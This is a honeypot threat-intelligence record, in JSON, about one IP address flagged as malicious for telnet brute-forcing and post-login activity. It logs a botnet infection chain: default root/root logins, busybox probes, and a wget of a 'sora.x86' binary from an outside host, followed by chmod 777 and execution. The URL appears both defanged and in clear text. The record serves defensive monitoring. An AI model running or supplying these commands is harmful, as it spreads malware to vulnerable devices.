{"ip":"77.239.124.249","data_as_of":"2026-10-26T21:47:07+00:00","observed":true,"total_events":14,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["4 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 14 event(s) from this address as well.","Not in any known-scanner range.","Sent 7,006 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"7,006 bytes sent","bytes_sent":7006,"session_seconds":23,"persistent":false},"basis":"interactive"},"first_seen":"2026-08-07T19:31:33","last_seen":"2026-10-26T01:38:46","events_24h":2,"events_7d":11,"interactive_sessions":12,"interactive_sessions_24h":4,"interactive_sessions_7d":12,"interactive_protocols":[{"protocol":"telnet","sessions":8},{"protocol":"http","sessions":4}],"geo":{"country_code":"US","country_name":"United States","region":"","city":"","lat":37.751,"lon":-97.822,"asn":198364,"org":"Banatsync Srl"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"732ab7bf7b1c2fb4070d02d3dc37a26f8c1186bc8800d6623d116b8817fbbabc","family":"cling","vt_name":"sora.x86","malicious":15,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":1,"last_seen":"2026-10-21 22:42:19"}],"udp":null,"interaction":{"window_days":90,"sessions":12,"first_seen":"2026-10-21T15:35:08","last_seen":"2026-10-26T01:32:27","verdicts":[{"verdict":"scan","sessions":4},{"verdict":"post-exploitation","sessions":4},{"verdict":"unknown","sessions":2},{"verdict":"credential","sessions":2}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":8},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dns@1.10, fortigate@7.0.5, gitlab@19.4.2","sessions":2},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, mikrotik@7.12.1, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5","sessions":1},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, mikrotik@7.12.1, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":1}],"services":[{"protocol":"telnet","port":23,"sessions":8},{"protocol":"http","port":81,"sessions":2},{"protocol":"http","port":5000,"sessions":2}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":4,"last_seen":"2026-10-26T01:32:25"},{"username":"root","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":2,"last_seen":"2026-10-26T00:11:42"}],"commands":[{"ts":"2026-10-26T01:32:27","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf 902i13; >19ju3d; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./19ju3d Anzor; /bin/busybox O2J134","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget [http]://45[.]153[.]34[.]206:80/bins/sora.x86 -O - > 19ju3d; /bin/busybox chmod 777 19ju3d; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cp /bin/busybox 19ju3d; >19ju3d; /bin/busybox chmod 777 19ju3d; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf 19ju3d 902i13","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/usr/.ptmx && cd /usr/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/boot/.ptmx && cd /boot/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/.ptmx && cd /","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/netslink/.ptmx && cd /dev/netslink/","exit_code":1},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/shm/.ptmx && cd /dev/shm/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/bin/.ptmx && cd /bin/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/etc/.ptmx && cd /etc/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/mnt/.ptmx && cd /mnt/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.ptmx && cd /var/run/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/tmp/.ptmx && cd /var/tmp/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/.ptmx && cd /dev/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/.ptmx && cd /var/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/tmp/.ptmx && cd /tmp/","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-26T01:32:26","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-26T01:32:25","session_id":"92737dfa-a57b-4106-b015-32e3165d79ea","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-26T00:11:47","session_id":"3ffb38c7-ecc1-4fca-83f9-f25bbbac8f66","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./","exit_code":126},{"ts":"2026-10-26T00:11:46","session_id":"3ffb38c7-ecc1-4fca-83f9-f25bbbac8f66","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cat /proc","exit_code":1},{"ts":"2026-10-26T00:11:46","session_id":"3ffb38c7-ecc1-4fca-83f9-f25bbbac8f66","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox TEST","exit_code":127},{"ts":"2026-10-26T00:11:45","session_id":"3ffb38c7-ecc1-4fca-83f9-f25bbbac8f66","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo SHELL_TEST","exit_code":0},{"ts":"2026-10-21T22:42:19","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf 902i13; >19ju3d; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-21T22:42:19","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./19ju3d Anzor; /bin/busybox O2J134","exit_code":127},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget [http]://45[.]153[.]34[.]206:80/bins/sora.x86 -O - > 19ju3d; /bin/busybox chmod 777 19ju3d; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cp /bin/busybox 19ju3d; >19ju3d; /bin/busybox chmod 777 19ju3d; /bin/busybox AK1K2","exit_code":127},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf 19ju3d 902i13","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/usr/.ptmx && cd /usr/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/boot/.ptmx && cd /boot/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/etc/.ptmx && cd /etc/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/bin/.ptmx && cd /bin/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/shm/.ptmx && cd /dev/shm/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/netslink/.ptmx && cd /dev/netslink/","exit_code":1},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/.ptmx && cd /","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/tmp/.ptmx && cd /var/tmp/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.ptmx && cd /var/run/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/mnt/.ptmx && cd /mnt/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/.ptmx && cd /dev/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/.ptmx && cd /var/","exit_code":0},{"ts":"2026-10-21T22:42:18","session_id":"e4b3782d-a138-4a9d-8f0b-1962d55f80d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/tmp/.ptmx && cd /tmp/","exit_code":0}],"downloads":[{"url":"[http]://45[.]153[.]34[.]206:80/bins/sora.x86","host":"45[.]153[.]34[.]206","sessions":2,"first_seen":"2026-10-21T22:42:19","last_seen":"2026-10-26T01:32:27","virustotal":{"sha256":"732ab7bf7b1c2fb4070d02d3dc37a26f8c1186bc8800d6623d116b8817fbbabc","status":"known","malicious":15,"total":75,"name":"sora.x86"}}],"files":[{"sha256":"e3c70124859318a03327400fe10c6004e41615b93de8aab067d73c4a707ed062","name":"19ju3d","size":7937,"mime_type":"application/x-executable","kind":"sample","times":4,"first_seen":"2026-10-21T22:42:18","last_seen":"2026-10-26T01:32:26","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":4},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":4},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":4},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":6},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":2}]},"top_ports":[{"port":81,"proto":"tcp","label":"","count":6,"sessions":2},{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":8},{"port":5000,"proto":"tcp","label":"Web-alt","count":3,"sessions":2},{"port":22,"proto":"tcp","label":"SSH","count":3,"sessions":0},{"port":63002,"proto":"tcp","label":"","count":1,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":["084386fa7ae5039bcf6f07298a05a227"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun010_00040000_c4b2c4aa"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"084386fa7ae5039bcf6f07298a05a227":347,"b11cun010_00040000_c4b2c4aa":934},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"],"timeline":[{"date":"2026-08-07","count":1,"sessions":0},{"date":"2026-08-16","count":1,"sessions":0},{"date":"2026-08-19","count":1,"sessions":0},{"date":"2026-10-21","count":3,"sessions":5},{"date":"2026-10-22","count":1,"sessions":0},{"date":"2026-10-23","count":5,"sessions":3},{"date":"2026-10-25","count":1,"sessions":0},{"date":"2026-10-26","count":1,"sessions":4}],"recent_events":[{"timestamp":"2026-10-26T01:38:46","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"host\":\"<HONEYPOT>:8080\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"108cc30d-9809-4280-879f-9dbfe037ad9b","seq":1,"duration_ms":100,"bytes_in":44,"bytes_out":79},{"timestamp":"2026-10-26T01:32:27","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox rm -rf 902i13; >19ju3d; /bin/busybox AK1K2","payload_hex":"2f62696e2f62757379626f7820726d202d7266203930326931333b203e31396a7533643b202f62696e2f62757379626f7820414b314b32","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-52","seq":52,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2efef0666903af02","strings":["/bin/busybox rm -rf 902i13; >19ju3d; /bin/busybox AK1K2"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./19ju3d Anzor; /bin/busybox O2J134","payload_hex":"2e2f31396a75336420416e7a6f723b202f62696e2f62757379626f78204f324a313334","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-50","seq":50,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8baf0af61ee8eab3","strings":["./19ju3d Anzor; /bin/busybox O2J134"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget http://45.153.34.206:80/bins/sora.x86 -O - > 19ju3d; /bin/busybox chmod 777 19ju3d; /bin/busybox AK1K2","payload_hex":"2f62696e2f62757379626f78207767657420687474703a2f2f34352e3135332e33342e3230363a38302f62696e732f736f72612e783836202d4f202d203e2031396a7533643b202f62696e2f62757379626f782063686d6f64203737372031396a7533643b202f62696e2f62757379626f7820414b314b32","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-48","seq":48,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"78308cf412db9f1e","strings":["/bin/busybox wget http://45.153.34.206:80/bins/sora.x86 -O - > 19ju3d; /bin/busy…"],"iocs":{"urls":["http://45.153.34.206:80/bins/sora.x86"],"ips":["45.153.34.206"],"paths":["/bin/busybox","/bins/sora.x86","/bin/busy"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox AK1K2","payload_hex":"2f62696e2f62757379626f7820776765743b202f62696e2f62757379626f7820746674703b202f62696e2f62757379626f7820414b314b32","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-46","seq":46,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c2ac0c80ae532269","strings":["/bin/busybox wget; /bin/busybox tftp; /bin/busybox AK1K2"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox AK1K2","payload_hex":"2f62696e2f62757379626f7820414b314b32","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-44","seq":44,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"091fb95f1271acf0","strings":["/bin/busybox AK1K2"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","payload_hex":"2f62696e2f62757379626f7820636174202f62696e2f62757379626f78207c7c207768696c65207265616420693b20646f206563686f2024693b20646f6e65203c202f62696e2f62757379626f78","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-42","seq":42,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e4737c9bfea146c1","strings":["/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/boot/.ptmx && cd /boot/","payload_hex":"3e2f626f6f742f2e70746d78202626206364202f626f6f742f","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-34","seq":34,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5e969ecbb8727c7c","strings":[">/boot/.ptmx && cd /boot/"],"iocs":{"paths":["/boot/.ptmx"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/usr/.ptmx && cd /usr/","payload_hex":"3e2f7573722f2e70746d78202626206364202f7573722f","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-36","seq":36,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3380e53aff72d470","strings":[">/usr/.ptmx && cd /usr/"],"iocs":{"paths":["/usr/.ptmx"]}},"interactive":true},{"timestamp":"2026-10-26T01:32:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox rm -rf 19ju3d 902i13","payload_hex":"2f62696e2f62757379626f7820726d202d72662031396a75336420393032693133","method":"","user_agent":"","ja3":"","session":"92737dfa-a57b-4106-b015-32e3165d79ea-38","seq":38,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"1d442c489e376fd5","strings":["/bin/busybox rm -rf 19ju3d 902i13"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true}],"http_methods":[{"method":"GET","count":14},{"method":"POST","count":1}],"distinct_ports_total":6,"top_paths":[{"path":"/","count":14,"ports":4},{"path":"/login.cgi/cgi_main.cgi","count":1,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-Go","count":3}],"credentials":[],"header_profile":{"signature":["Host"],"representative":[{"name":"Host","value":"<HONEYPOT>:8080","notable":false}],"distinct_sets":1,"events_with_headers":1},"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":4},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":4},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":2},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":6}]}